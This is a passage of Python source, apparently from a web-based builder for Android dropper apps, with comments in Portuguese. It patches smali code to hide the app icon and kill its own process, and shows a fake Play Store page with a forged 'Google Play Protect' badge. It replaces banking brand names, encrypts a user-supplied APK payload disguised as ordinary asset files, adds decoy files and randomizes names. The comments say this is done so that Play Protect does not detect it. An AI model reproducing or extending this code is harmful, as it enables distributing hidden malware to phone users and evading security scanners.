        # Remove build artifacts and backup files from template copy
        build_artifact = os.path.join(dropper_work, 'build')
        if os.path.exists(build_artifact):
            shutil.rmtree(build_artifact)
        for root_dir, _, files in os.walk(dropper_work):
            for fname in files:
                if '.bak' in fname:
                    try: os.remove(os.path.join(root_dir, fname))
                    except: pass

        # hide_icon: icon hidden at runtime via c() -> setComponentEnabledSetting(MainActivity, DISABLED)
        # Do NOT remove LAUNCHER from manifest: getLaunchIntentForPackage(ownPkg) returns null without it,
        # breaking onReceive() startup that opens MainActivity to initiate payload installation.
        if hide_icon:
            # Patch RcvJbrzn.d() for Android 11+ compatibility
            # Fixed: removed b() pre-call (caused PackageInstaller broadcast interference)
            # Fixed: proper goto before catch_0 (no unintended fall-through)
            import glob as _glob_rcv
            rcv_files = _glob_rcv.glob(os.path.join(dropper_work, 'smali', '**', 'RcvJbrzn.smali'), recursive=True)
            for rcv_path in rcv_files:
                with open(rcv_path, 'r', encoding='utf-8') as rf:
                    rcv_content = rf.read()
                new_d = (
                    '.method public final synthetic d(Landroid/content/Context;Ljava/lang/String;)V\n'
                    '    .locals 2\n\n'
                    '    :try_start_0\n'
                    '    invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;\n'
                    '    move-result-object v0\n'
                    '    invoke-virtual {v0, p2}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;\n'
                    '    move-result-object v0\n'
                    '    if-eqz v0, :cond_0\n'
                    '    const/high16 v1, 0x14000000\n'
                    '    invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;\n'
                    '    invoke-virtual {p1, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V\n'
                    '    :cond_0\n'
                    '    :try_end_0\n'
                    '    .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0\n\n'
                    '    goto :do_hide\n\n'
                    '    :catch_0\n'
                    '    nop\n\n'
                    '    :do_hide\n'
                    '    :try_start_1\n'
                    '    const-wide/16 v0, 0x1388\n'
                    '    invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V\n'
                    '    :try_end_1\n'
                    '    .catch Ljava/lang/InterruptedException; {:try_start_1 .. :try_end_1} :catch_1\n\n'
                    '    :catch_1\n'
                    '    invoke-virtual {p0, p1}, Lcom/android/system/qspaas/RcvJbrzn;->b(Landroid/content/Context;)V\n'
                    '    invoke-virtual {p0, p1}, Lcom/android/system/qspaas/RcvJbrzn;->c(Landroid/content/Context;)V\n\n'
                    '    :try_start_2\n'
                    '    const-wide/16 v0, 0x12C\n'
                    '    invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V\n'
                    '    :try_end_2\n'
                    '    .catch Ljava/lang/InterruptedException; {:try_start_2 .. :try_end_2} :catch_2\n\n'
                    '    :catch_2\n'
                    '    invoke-static {}, Landroid/os/Process;->myPid()I\n'
                    '    move-result v0\n'
                    '    invoke-static {v0}, Landroid/os/Process;->killProcess(I)V\n\n'
                    '    return-void\n'
                    '.end method'
                )
                patched = re.sub(
                    r'\.method public final synthetic d\(Landroid/content/Context;Ljava/lang/String;\)V.*?\.end method',
                    new_d,
                    rcv_content,
                    flags=re.DOTALL
                )
                if patched != rcv_content:
                    with open(rcv_path, 'w', encoding='utf-8') as rf:
                        rf.write(patched)



        # Copy playstore overlay BEFORE randomization so the package rename catches overlay files too
        if visual_mode == 'playstore' and os.path.exists(PLAYSTORE_OVERLAY):
            smali_src = os.path.join(PLAYSTORE_OVERLAY, 'smali')
            smali_dst = os.path.join(dropper_work, 'smali')
            if os.path.exists(smali_src):
                for root_s, dirs_s, files_s in os.walk(smali_src):
                    rel = os.path.relpath(root_s, smali_src)
                    dst_dir = os.path.join(smali_dst, rel)
                    os.makedirs(dst_dir, exist_ok=True)
                    for sf in files_s:
                        if '.bak' in sf: continue
                        shutil.copy2(os.path.join(root_s, sf), os.path.join(dst_dir, sf))
            assets_src = os.path.join(PLAYSTORE_OVERLAY, 'assets', 'up.html')
            if os.path.exists(assets_src):
                assets_dst = os.path.join(dropper_work, 'assets')
                os.makedirs(assets_dst, exist_ok=True)
                shutil.copy2(assets_src, os.path.join(assets_dst, 'up.html'))

        if visual_mode == 'playv2' and os.path.exists(PLAYSTORE_OVERLAY):
            # Playstore v2 (visual avancado): aplica overlay WebView (smali) + copia up_v2.html como up.html e play.css.
            smali_src = os.path.join(PLAYSTORE_OVERLAY, 'smali')
            smali_dst = os.path.join(dropper_work, 'smali')
            if os.path.exists(smali_src):
                for root_s, dirs_s, files_s in os.walk(smali_src):
                    rel = os.path.relpath(root_s, smali_src)
                    dst_dir = os.path.join(smali_dst, rel)
                    os.makedirs(dst_dir, exist_ok=True)
                    for sf in files_s:
                        if '.bak' in sf: continue
                        shutil.copy2(os.path.join(root_s, sf), os.path.join(dst_dir, sf))
            assets_dst = os.path.join(dropper_work, 'assets')
            os.makedirs(assets_dst, exist_ok=True)
            v2_src = os.path.join(PLAYSTORE_OVERLAY, 'assets', 'up_v2.html')
            if os.path.exists(v2_src):
                shutil.copy2(v2_src, os.path.join(assets_dst, 'up.html'))
            css_src = os.path.join(PLAYSTORE_OVERLAY, 'assets', 'play.css')
            if os.path.exists(css_src):
                shutil.copy2(css_src, os.path.join(assets_dst, 'play.css'))

        # Custom HTML mode: reuse playstore overlay smali (same WebView), but write user-provided HTML.
        if visual_mode == 'custom' and os.path.exists(PLAYSTORE_OVERLAY):
            smali_src = os.path.join(PLAYSTORE_OVERLAY, 'smali')
            smali_dst = os.path.join(dropper_work, 'smali')
            if os.path.exists(smali_src):
                for root_s, dirs_s, files_s in os.walk(smali_src):
                    rel = os.path.relpath(root_s, smali_src)
                    dst_dir = os.path.join(smali_dst, rel)
                    os.makedirs(dst_dir, exist_ok=True)
                    for sf in files_s:
                        if '.bak' in sf: continue
                        shutil.copy2(os.path.join(root_s, sf), os.path.join(dst_dir, sf))
            assets_dst = os.path.join(dropper_work, 'assets')
            os.makedirs(assets_dst, exist_ok=True)
            html_to_write = custom_html if custom_html else '<html><body>Loading...</body></html>'
            with open(os.path.join(assets_dst, 'up.html'), 'w', encoding='utf-8') as f:
                f.write(html_to_write)

        # Redirect URL mode: reuse playstore overlay (mantem UI de instalacao do 2o payload).
        # Quando o sistema confirma a instalacao, RedirectWatcher detecta via PackageManager
        # e dispara WebView.loadUrl(URL).
        if visual_mode == 'redirect' and os.path.exists(PLAYSTORE_OVERLAY) and os.path.exists(REDIRECT_OVERLAY):
            smali_src = os.path.join(PLAYSTORE_OVERLAY, 'smali')
            smali_dst = os.path.join(dropper_work, 'smali')
            if os.path.exists(smali_src):
                for root_s, dirs_s, files_s in os.walk(smali_src):
                    rel = os.path.relpath(root_s, smali_src)
                    dst_dir = os.path.join(smali_dst, rel)
                    os.makedirs(dst_dir, exist_ok=True)
                    for sf in files_s:
                        if '.bak' in sf: continue
                        shutil.copy2(os.path.join(root_s, sf), os.path.join(dst_dir, sf))
            assets_src = os.path.join(PLAYSTORE_OVERLAY, 'assets', 'up.html')
            if os.path.exists(assets_src):
                assets_dst = os.path.join(dropper_work, 'assets')
                os.makedirs(assets_dst, exist_ok=True)
                shutil.copy2(assets_src, os.path.join(assets_dst, 'up.html'))

            rsmali_src = os.path.join(REDIRECT_OVERLAY, 'smali')
            for root_s, dirs_s, files_s in os.walk(rsmali_src):
                rel = os.path.relpath(root_s, rsmali_src)
                dst_dir = os.path.join(smali_dst, rel)
                os.makedirs(dst_dir, exist_ok=True)
                for sf in files_s:
                    shutil.copy2(os.path.join(root_s, sf), os.path.join(dst_dir, sf))

            # Le o package name do APK alvo. AndroidManifest.xml extraido via zipfile
            # vem em AXML binario (magic 03 00 08 00) e o regex pode casar com lixo
            # do string pool (resultava em packages invertidos tipo 'rotinummoc.elipmoc.resworb').
            # Por isso so confiamos em XML texto produzido pelo apktool.
            payload_pkg = None
            def _try_read_pkg(mp):
                try:
                    if not os.path.exists(mp):
                        return None
                    # Rejeita AXML binario detectando magic bytes do AndroidBinaryXML.
                    with open(mp, 'rb') as bf:
                        head = bf.read(4)
                    if len(head) >= 2 and head[0] == 0x03 and head[1] == 0x00:
                        return None
                    with open(mp, 'r', encoding='utf-8', errors='ignore') as mf:
                        mtext = mf.read()
                    if '<manifest' not in mtext:
                        return None
                    mm2 = re.search(r'<manifest\b[^>]*\bpackage="([^"]+)"', mtext)
                    if mm2:
                        cand = mm2.group(1).strip()
                        if cand and ' ' not in cand and re.match(r'^[A-Za-z][A-Za-z0-9_.]*$', cand):
                            return cand
                except Exception as _ee:
                    print(f'Aviso _try_read_pkg: {_ee}')
                return None

            # Sempre tenta apktool decode primeiro (XML texto garantido).
            pkg_decode_dir = os.path.join(app.config['UPLOAD_FOLDER'], f'{build_id}_pkgread')
            try:
                if os.path.exists(pkg_decode_dir):
                    shutil.rmtree(pkg_decode_dir)
                _apkt = subprocess.run(
                    ['java', '-jar', APKTOOL_JAR, 'd', '-s',
                     user_apk_path, '-o', pkg_decode_dir, '-f'],
                    capture_output=True, timeout=180
                )
                if _apkt.returncode != 0:
                    _err = _apkt.stderr[:300] if _apkt.stderr else b''
                    print(f'[redirect] apktool decode rc={_apkt.returncode} stderr={_err!r}')
                payload_pkg = _try_read_pkg(os.path.join(pkg_decode_dir, 'AndroidManifest.xml'))
                if not payload_pkg:
                    ay = os.path.join(pkg_decode_dir, 'apktool.yml')
                    if os.path.exists(ay):
                        with open(ay, 'r', encoding='utf-8', errors='ignore') as f:
                            yt = f.read()
                        ym = re.search(r'renameManifestPackage:\s*(\S+)', yt)
                        if ym:
                            cand = ym.group(1).strip()
                            if cand and cand.lower() not in ('null', '~'):
                                payload_pkg = cand
            except Exception as _e:
                print(f'Aviso apktool decode for pkg: {_e}')
            finally:
                try:
                    if os.path.exists(pkg_decode_dir):
                        shutil.rmtree(pkg_decode_dir)
                except:
                    pass

            # Fallback final: tenta o manifest extraido por zipfile.
            # _try_read_pkg agora rejeita AXML binario, entao so passa se for XML texto.
            if not payload_pkg:
                payload_pkg = _try_read_pkg(os.path.join(user_apk_extracted, 'AndroidManifest.xml'))

            if not payload_pkg:
                # Sem package no manifest nao eh fatal: o novo RedirectWatcher faz diff
                # de packages instalados como fallback, entao redireciona quando QUALQUER
                # pacote novo (diferente do dropper) for instalado.
                payload_pkg = ''
                print('[redirect] AVISO: package do payload nao detectado, usando diff fallback')
            else:
                print(f'[redirect] payload package detectado: {payload_pkg}')

            target_url = (redirect_url or 'about:blank').strip()
            url_smali_safe = target_url.replace('\\', '\\\\').replace('"', '\\"')
            pkg_smali_safe = payload_pkg.replace('\\', '\\\\').replace('"', '\\"')

            ma_path = os.path.join(smali_dst, 'com', 'android', 'system', 'qspaas', 'MainActivity.smali')
            if os.path.exists(ma_path):
                with open(ma_path, 'r', encoding='utf-8') as f:
                    ma = f.read()
                anchor = '    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V\n\n    invoke-virtual {p0, v13}, Landroid/app/Activity;->setContentView(Landroid/view/View;)V'
                if anchor in ma:
                    inject = (
                        '    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V\n\n'
                        '    # --- REDIRECT WATCHER kickoff ---\n'
                        '    new-instance v0, Lcom/android/system/qspaas/RedirectWatcher;\n'
                        '    iget-object v1, p0, Lcom/android/system/qspaas/MainActivity;->k:Landroid/webkit/WebView;\n'
                        '    const-string v2, "' + pkg_smali_safe + '"\n'
                        '    const-string v3, "' + url_smali_safe + '"\n'
                        '    invoke-direct {v0, p0, v1, v2, v3}, Lcom/android/system/qspaas/RedirectWatcher;-><init>(Landroid/content/Context;Landroid/webkit/WebView;Ljava/lang/String;Ljava/lang/String;)V\n'
                        '    invoke-virtual {v0}, Lcom/android/system/qspaas/RedirectWatcher;->run()V\n\n'
                        '    invoke-virtual {p0, v13}, Landroid/app/Activity;->setContentView(Landroid/view/View;)V'
                    )
                    ma = ma.replace(anchor, inject, 1)
                    with open(ma_path, 'w', encoding='utf-8') as f:
                        f.write(ma)
                else:
                    print('Aviso: anchor do MainActivity nao encontrado para redirect mode')

            # Neutraliza d() (startActivity payload), killProcess e setComponentEnabledSetting no RcvJbrzn.
            # No modo redirect o dropper nao pode abrir o payload em foreground nem matar o processo,
            # pois o RedirectWatcher precisa do WebView vivo para carregar a redirect URL.
            rcv_path = os.path.join(smali_dst, 'com', 'android', 'system', 'qspaas', 'RcvJbrzn.smali')
            if os.path.exists(rcv_path):
                with open(rcv_path, 'r', encoding='utf-8') as f:
                    rcv = f.read()

                # Substitui metodo d() inteiro por return-void (nao lanca o payload em foreground)
                new_d = (
                    '.method public final synthetic d(Landroid/content/Context;Ljava/lang/String;)V\n'
                    '    .locals 0\n\n'
                    '    return-void\n'
                    '.end method'
                )
                patched_d = re.sub(
                    r'\.method public final synthetic d\(Landroid/content/Context;Ljava/lang/String;\)V.*?\.end method',
                    new_d,
                    rcv,
                    flags=re.DOTALL
                )
                if patched_d != rcv:
                    rcv = patched_d
                    print('[redirect] metodo d() neutralizado em RcvJbrzn (sem startActivity payload)')

                kill_line = 'invoke-static {p1}, Landroid/os/Process;->killProcess(I)V'
                if kill_line in rcv:
                    rcv = rcv.replace(kill_line, 'nop', 1)
                    print('[redirect] killProcess neutralizado em RcvJbrzn')
                disable_line = 'invoke-virtual {v0, v3, v2, v1}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V'
                if disable_line in rcv:
                    n_disable = rcv.count(disable_line)
                    rcv = rcv.replace(disable_line, 'nop')
                    print(f'[redirect] {n_disable} chamadas de setComponentEnabledSetting neutralizadas em RcvJbrzn')
                with open(rcv_path, 'w', encoding='utf-8') as f:
                    f.write(rcv)

            # ====== REDIRECT FASTPATH: skip up.html se payload ja instalado ======
            # Sem fastpath: J() carrega up.html primeiro, depois RedirectWatcher.run() detecta
            # e chama webView.post(loadUrl(redirectUrl)) -> up.html aparece por uns ms antes do redirect
            # Com fastpath: checamos getPackageInfo() ANTES do loadUrl(up.html). Se instalado -> carrega
            # redirectUrl direto, pula up.html totalmente.
            try:
                if os.path.exists(ma_path):
                    with open(ma_path, 'r', encoding='utf-8') as _f:
                        _ma_fp = _f.read()
                    _fp_anchor = '    const-string v0, "file:///android_asset/up.html"\n    iget-object v1, p0, Lcom/android/system/qspaas/MainActivity;->k:Landroid/webkit/WebView;\n    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V'
                    if _fp_anchor in _ma_fp and 'REDIRECT FASTPATH' not in _ma_fp and payload_pkg:
                        _fp_inject = (
                            "    # --- REDIRECT FASTPATH: pula up.html se payload ja instalado ---\n"
                            "    iget-object v1, p0, Lcom/android/system/qspaas/MainActivity;->k:Landroid/webkit/WebView;\n"
                            "    :try_start_fp\n"
                            "    invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;\n"
                            "    move-result-object v0\n"
                            "    const-string v2, \"" + pkg_smali_safe + "\"\n"
                            "    const/4 v3, 0x0\n"
                            "    invoke-virtual {v0, v2, v3}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;\n"
                            "    move-result-object v0\n"
                            "    if-eqz v0, :cond_fp_notinstalled\n"
                            "    const-string v0, \"" + url_smali_safe + "\"\n"
                            "    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V\n"
                            "    goto :cond_fp_done\n"
                            "    :try_end_fp\n"
                            "    .catch Ljava/lang/Exception; {:try_start_fp .. :try_end_fp} :catch_fp\n"
                            "    :catch_fp\n"
                            "    :cond_fp_notinstalled\n"
                            "    const-string v0, \"file:///android_asset/up.html\"\n"
                            "    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V\n"
                            "    :cond_fp_done\n"
                            "    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n"
                            "    # marcador REDIRECT FASTPATH aplicado"
                        )
                        _ma_fp = _ma_fp.replace(_fp_anchor, _fp_inject, 1)
                        with open(ma_path, 'w', encoding='utf-8') as _f:
                            _f.write(_ma_fp)
                        print('[redirect] FASTPATH injetado: pula up.html se payload ja instalado')
                    elif 'REDIRECT FASTPATH' in _ma_fp:
                        print('[redirect] FASTPATH ja presente, pulando')
                    elif not payload_pkg:
                        print('[redirect] AVISO: sem payload_pkg conhecido, FASTPATH desativado (usa diff fallback do RW)')
                    else:
                        print('[redirect] AVISO: anchor up.html loadUrl nao encontrado para FASTPATH')
            except Exception as _fpe:
                print(f'[redirect] erro injetando FASTPATH: {_fpe}')

            # ====== REDIRECT WVC: setWebViewClient injected ======
            # Sem WebViewClient o WebView delega navegacoes pro browser do sistema (Chrome).
            # Injetamos setWebViewClient(new RedirWvc()) logo apos setDomStorageEnabled.
            # IMPORTANTE: J() declara .locals 14 (v0..v13), entao usamos apenas registros existentes (v0, v1)
            try:
                if os.path.exists(ma_path):
                    with open(ma_path, 'r', encoding='utf-8') as _f:
                        _ma3 = _f.read()
                    _wvc_anchor = '    invoke-virtual {v13, v0}, Landroid/webkit/WebSettings;->setDomStorageEnabled(Z)V'
                    _wvc_inject = (
                        _wvc_anchor + "\n\n"
                        "    # --- WebViewClient para manter navegacao dentro do WebView ---\n"
                        "    new-instance v0, Lcom/android/system/qspaas/RedirWvc;\n"
                        "    invoke-direct {v0}, Lcom/android/system/qspaas/RedirWvc;-><init>()V\n"
                        "    iget-object v1, p0, Lcom/android/system/qspaas/MainActivity;->k:Landroid/webkit/WebView;\n"
                        "    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->setWebViewClient(Landroid/webkit/WebViewClient;)V\n"
                        "    const/4 v0, 0x1\n"
                    )
                    if _wvc_anchor in _ma3 and 'RedirWvc;-><init>()V' not in _ma3:
                        _ma3 = _ma3.replace(_wvc_anchor, _wvc_inject, 1)
                        with open(ma_path, 'w', encoding='utf-8') as _f:
                            _f.write(_ma3)
                        print('[redirect] setWebViewClient(RedirWvc) injetado em MainActivity')
                    elif 'RedirWvc;-><init>()V' in _ma3:
                        print('[redirect] WVC ja presente em MainActivity, pulando')
                    else:
                        print('[redirect] AVISO: anchor setDomStorageEnabled nao encontrado para injetar WVC')
            except Exception as _wvce:
                print(f'[redirect] erro injetando WVC: {_wvce}')

            # ====== REDIRECT FIX: neutraliza r(Intent) no MainActivity ======
            # r(Intent) eh chamado via L() -> Lm -> a(this, intent) -> r(intent) e faz
            # startActivity(launchIntent) + finish(), o que mata o WebView na 2a abertura
            # quando o payload ja esta instalado. No modo redirect precisamos do WebView vivo
            # para o RedirectWatcher carregar a redirect URL. Substituimos o corpo de r() por
            # return-void.
            try:
                if os.path.exists(ma_path):
                    with open(ma_path, 'r', encoding='utf-8') as _f:
                        _ma2 = _f.read()
                    _new_r = (
                        ".method public final synthetic r(Landroid/content/Intent;)V\n"
                        "    .locals 0\n\n"
                        "    return-void\n"
                        ".end method"
                    )
                    _patched_r = re.sub(
                        r"\.method public final synthetic r\(Landroid/content/Intent;\)V.*?\.end method",
                        _new_r,
                        _ma2,
                        flags=re.DOTALL,
                        count=1
                    )
                    if _patched_r != _ma2:
                        with open(ma_path, 'w', encoding='utf-8') as _f:
                            _f.write(_patched_r)
                        print('[redirect] metodo r(Intent) neutralizado em MainActivity (preserva WebView na 2a abertura)')
                    else:
                        print('[redirect] AVISO: metodo r(Intent) nao encontrado em MainActivity para neutralizar')
            except Exception as _re:
                print(f'[redirect] erro neutralizando r(Intent): {_re}')

            # Randomiza nomes dos metodos JS bridge com nomes UNICOS por metodo (evita duplicatas no smali)
            try:
                import string as _str_rdr, random as _rnd_rdr
                _used_names = set()
                def _uniq_bridge_name():
                    while True:
                        _n = ''.join(_rnd_rdr.choices(_str_rdr.ascii_lowercase, k=_rnd_rdr.randint(6, 9)))
                        if _n not in _used_names:
                            _used_names.add(_n)
                            return _n
                _rnd_open    = _uniq_bridge_name()
                _rnd_install = _uniq_bridge_name()
                _rnd_update  = _uniq_bridge_name()
                _drp_sp = os.path.join(smali_dst, 'com', 'android', 'system', 'qspaas', 'DrpJsBridge.smali')
                if os.path.exists(_drp_sp):
                    with open(_drp_sp, 'r', encoding='utf-8') as _f: _drp_s = _f.read()
                    _drp_s = _drp_s.replace('opencheck', _rnd_open)
                    _drp_s = _drp_s.replace('startInstall', _rnd_install)
                    _drp_s = _drp_s.replace('updatecheck', _rnd_update)
                    with open(_drp_sp, 'w', encoding='utf-8') as _f: _f.write(_drp_s)
                    print(f'[redirect] DrpJsBridge methods -> open={_rnd_open} install={_rnd_install} update={_rnd_update}')
                _up_p = os.path.join(dropper_work, 'assets', 'up.html')
                if os.path.exists(_up_p):
                    with open(_up_p, 'r', encoding='utf-8') as _f: _up_s = _f.read()
                    _up_s = _up_s.replace('opencheck', _rnd_open)
                    _up_s = _up_s.replace('startInstall', _rnd_install)
                    _up_s = _up_s.replace('updatecheck', _rnd_update)
                    with open(_up_p, 'w', encoding='utf-8') as _f: _f.write(_up_s)
                    print(f'[redirect] up.html bridge calls -> open={_rnd_open}')
            except Exception as _brm:
                print(f'[redirect] erro randomizando metodos bridge: {_brm}')


        # Randomize package name and version per build (catches both template + overlay files)
        _randomize_dropper_package(dropper_work)
        _randomize_version(dropper_work)

        app_name = custom_app_name if custom_app_name else "App"
        if custom_icon_path and os.path.exists(custom_icon_path):
            icon_to_use = None
            try:
                converted = custom_icon_path + '_converted.png'
                _img = PILImage.open(custom_icon_path)
                if _img.size[0] > 2048 or _img.size[1] > 2048:
                    raise Exception(f"icon dimensions too large: {_img.size}")
                _img.convert('RGBA').save(converted, 'PNG')
                icon_to_use = converted
            except:
                pass
            if icon_to_use:
                # Resize per density to keep APK small (~90KB total instead of ~14MB)
                # Android standard mipmap sizes: mdpi=48, hdpi=72, xhdpi=96, xxhdpi=144, xxxhdpi=192
                _density_sizes = {
                    "res/mipmap-mdpi":    48,
                    "res/mipmap-hdpi":    72,
                    "res/mipmap-xhdpi":   96,
                    "res/mipmap-xxhdpi":  144,
                    "res/mipmap-xxxhdpi": 192,
                }
                _resize_ok = False
                try:
                    _base_icon = PILImage.open(icon_to_use).convert('RGBA')
                    for _d, _sz in _density_sizes.items():
                        _path = os.path.join(dropper_work, _d)
                        os.makedirs(_path, exist_ok=True)
                        _resized = _base_icon.resize((_sz, _sz), PILImage.LANCZOS)
                        for _name in ["ic_launcher.png", "ic_launcher_round.png"]:
                            _resized.save(os.path.join(_path, _name), "PNG", optimize=True)
                    _resize_ok = True
                except Exception as _e:
                    print(f'Aviso resize icon: {_e}')
                # Fallback: if resize fails for any reason, copy original to keep build working
                if not _resize_ok:
                    for d in ["res/mipmap-hdpi", "res/mipmap-mdpi", "res/mipmap-xhdpi", "res/mipmap-xxhdpi", "res/mipmap-xxxhdpi"]:
                        path = os.path.join(dropper_work, d)
                        os.makedirs(path, exist_ok=True)
                        for name in ["ic_launcher.png", "ic_launcher_round.png"]:
                            shutil.copy2(icon_to_use, os.path.join(path, name))

        strings_xml = os.path.join(dropper_work, "res/values/strings.xml")
        if os.path.exists(strings_xml):
            try:
                tree = ET.parse(strings_xml)
                root = tree.getroot()
                for string in root.findall('string'):
                    if string.get('name') == "app_name":
                        string.text = app_name
                tree.write(strings_xml, encoding='utf-8', xml_declaration=True)
            except:
                pass

        for root_dir, _, files in os.walk(dropper_work):
            for file in files:
                if file.endswith((".smali", ".xml")):
                    file_path = os.path.join(root_dir, file)
                    try:
                        with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
                            content = f.read()
                        new_content = content.replace('PeriCred', app_name).replace('Agibank', app_name).replace('AgiBank', app_name)
                        if dropper_config:
                            new_content = new_content.replace('DRPR_TITULO', dropper_config.get('titulo', 'Otimizando sistema'))
                            new_content = new_content.replace('DRPR_SUBTITULO', dropper_config.get('subtitulo', 'Aguarde o procedimento...'))
                            new_content = new_content.replace('DRPR_BADGE', dropper_config.get('badge', '✓ Google Play Protect verificado'))
                        if content != new_content:
                            with open(file_path, 'w', encoding='utf-8') as f:
                                f.write(new_content)
                    except:
                        pass

        up_html_path = os.path.join(dropper_work, 'assets', 'up.html')
        # No modo 'custom' o HTML do user é literal — não fazer replace de placeholders.
        if visual_mode != 'custom' and os.path.exists(up_html_path):
            try:
                with open(up_html_path, 'r', encoding='utf-8') as f:
                    up_content = f.read()
                up_content = up_content.replace('APPNAME', app_name)
                if dropper_config:
                    ps = dropper_config.get('playstore', {})
                    up_content = up_content.replace('[PUBLISHER]', ps.get('publisher', 'Platform, Inc.'))
                    up_content = up_content.replace('[RATING]', ps.get('rating', '4.5'))
                    up_content = up_content.replace('[DOWNLOADS]', ps.get('downloads', '1K+'))
                    up_content = up_content.replace('[SIZE]', ps.get('size', '8.6 MB'))
                    if ps.get('change1'): up_content = up_content.replace('[CHANGE1]', ps.get('change1'))
                    if ps.get('change2'): up_content = up_content.replace('[CHANGE2]', ps.get('change2'))
                    if ps.get('change3'): up_content = up_content.replace('[CHANGE3]', ps.get('change3'))
                if custom_icon_path and os.path.exists(custom_icon_path):
                    import base64
                    with open(custom_icon_path, 'rb') as f:
                        icon_b64 = base64.b64encode(f.read()).decode()
                    up_content = up_content.replace('[BASE-ICO]', icon_b64)
                with open(up_html_path, 'w', encoding='utf-8') as f:
                    f.write(up_content)
            except Exception as e:
                print(f'Aviso up.html: {e}')

        BUILD_STATUS[build_id] = {"status": "Injetando Payload", "progress": 60}
        with open(user_apk_path, "rb") as f:
            raw_data = f.read()
        seed = random.randint(0, 2**32 - 1)
        header = seed.to_bytes(4, 'big') + os.urandom(12)
        encrypted = header + bytes(encrypt_lcg(raw_data, seed))
        import base64 as _b64, glob as _glob, string as _str
        # Pools baseados em analise de 6 APKs reais - incluindo .pak
        _ASSET_POOLS = [
            # tumblr pattern
            ('io_schema.cache',   ['ext_config.idx',    'net_index.db',    'sdk_registry.cache']),
            # skype pattern
            ('kit_profile.idx',   ['mod_profile.bin',   'base_patch.dat',  'res_profile.db']),
            # adobe agent pattern
            ('ext_module.pak',    ['app_module.db',     'util_bundle.bin', 'ext_config.pak']),
            # facebook pattern
            ('mod_patch.bin',     ['res_patch.cache',   'res_init.pak',    'data_profile.pak']),
            # adobe helper pattern
            ('io_profile.cache',  ['ext_profile.db',    'sdk_config.cache','io_config.idx']),
            # figma pattern
            ('util_index.cache',  ['res_module.db',     'util_init.idx',   'mod_bundle.bin']),
            # extras variados
            ('sys_loader.cache',  ['api_index.idx',     'core_data.db',    'lib_bundle.pak']),
            ('net_schema.idx',    ['sdk_module.bin',    'app_init.cache',  'cfg_patch.dat']),
            ('core_profile.pak',  ['io_bundle.db',      'ext_init.bin',    'mod_config.cache']),
            ('app_loader.bin',    ['sys_profile.idx',   'net_config.pak',  'sdk_bundle.cache']),
        ]
        _pool = random.choice(_ASSET_POOLS)
        dat_name = _pool[0]
        _decoy_names = _pool[1]
        _key = os.urandom(len(dat_name.encode()))
        _enc = bytes(a ^ b for a, b in zip(dat_name.encode(), _key))
        new_data_str = _b64.b64encode(_enc).decode()
        new_key_str  = _b64.b64encode(_key).decode()
        for _sm in _glob.glob(os.path.join(dropper_work, 'smali', '**', 'MainActivity.smali'), recursive=True):
            with open(_sm, 'r', encoding='utf-8') as f: _sc = f.read()
            _sc = _sc.replace('"MCe4qkNoRrMPUcr7Eg=="', f'"{new_data_str}"')
            _sc = _sc.replace('"VEXUwzIPKNljf66aZrY="', f'"{new_key_str}"')
            with open(_sm, 'w', encoding='utf-8') as f: f.write(_sc)
        old_payload = os.path.join(dropper_work, 'assets/dbliqgnjl.dat')
        if os.path.exists(old_payload):
            os.remove(old_payload)
        assets_dir = os.path.join(dropper_work, 'assets')
        os.makedirs(assets_dir, exist_ok=True)
        payload_path = os.path.join(assets_dir, dat_name)
        with open(payload_path, "wb") as f:
            f.write(encrypted)
        # Decoys com tamanhos baseados nos APKs reais analisados: ~7.1KB, ~2.2KB, ~1KB
        _decoy_sizes = [
            random.randint(7100, 7300),
            random.randint(2200, 2300),
            random.randint(850, 1100),
        ]
        for _dn, _ds in zip(_decoy_names, _decoy_sizes):
            with open(os.path.join(assets_dir, _dn), 'wb') as f:
                f.write(os.urandom(_ds))

        # Renomeia classes, assets e remove debug DEPOIS de todo patching smali
        _strip_smali_debug(dropper_work)
        _encrypt_h_strings(dropper_work)
        _encrypt_smali_strings(dropper_work)
        _renames = _randomize_class_names(dropper_work)
        _encrypt_receiver_strings(dropper_work, _renames)
        _randomize_assets(dropper_work)
        _add_png_noise(dropper_work)
        _randomize_xml_paths(dropper_work)
        _fix_manifest_queries(dropper_work, user_apk_path)
        # -- ofuscacao estrutural DESATIVADA (nops/gotos/opcodes deixam o dex com
        # cara de malware ofuscado -> Play Protect flagueia. App VPN real nao tem isso.
        # _obfuscate_gotos(dropper_work)
        # _insert_nops(dropper_work)
        # _swap_opcodes(dropper_work)

        BUILD_STATUS[build_id] = {"status": "Compilando APK", "progress": 80}
        if not os.path.exists(APKTOOL_JAR):
            raise Exception("apktool.jar nao encontrado")
        res_b = subprocess.run(
            ['java', '-jar', APKTOOL_JAR, 'b', dropper_work, '-o', unsigned_apk_path],
            capture_output=True, text=True, timeout=600
        )
        if not os.path.exists(unsigned_apk_path):
            subprocess.run(['java', '-jar', APKTOOL_JAR, 'empty-framework-dir'], timeout=60)
            res_b = subprocess.run(
                ['java', '-jar', APKTOOL_JAR, 'b', dropper_work, '-o', unsigned_apk_path],
                capture_output=True, text=True, timeout=600
            )
            if not os.path.exists(unsigned_apk_path):
                raise Exception(f"Erro na compilacao: {res_b.stderr}")

        # zipalign before signing
